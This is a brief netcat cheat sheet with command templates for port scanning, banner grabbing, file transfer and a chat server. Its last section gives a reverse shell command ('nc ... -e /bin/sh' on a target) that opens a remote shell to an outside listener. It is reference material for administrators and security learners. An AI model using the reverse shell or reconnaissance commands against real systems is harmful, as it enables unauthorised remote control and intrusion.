Introduction to Netcat
Netcat is a versatile networking tool known for its simplicity and effectiveness. It’s used for tasks like port scanning, file transfers, and network debugging, utilizing TCP/UDP protocols. Commonly referred to as the “Swiss Army knife” of networking, it’s a fundamental tool for system administrators and security professionals.
Port scanning
1
2
3
4
5
| # Command
nc -zv [server IP or domain] [port range]
# Example
nc -zv example.com 80-90
|
Banner grabbing
1
2
3
4
5
| # Command
nc [server IP or domain] [port]
# Example
nc example.com 80
|
Transferring files
1
2
3
4
5
| # Receiving
nc -l -p [port] > [output file]
# Sending
nc [server IP] [port] < [input file]
|
Simple chat server
1
2
3
4
5
| # Server
nc -l -p [port]
# Client
nc [server IP] [port]
|
Reverse shell
1
2
3
4
5
| # Client
nc -lvp 1234
# Target
nc [client's IP] [port] -e /bin/sh
|
Source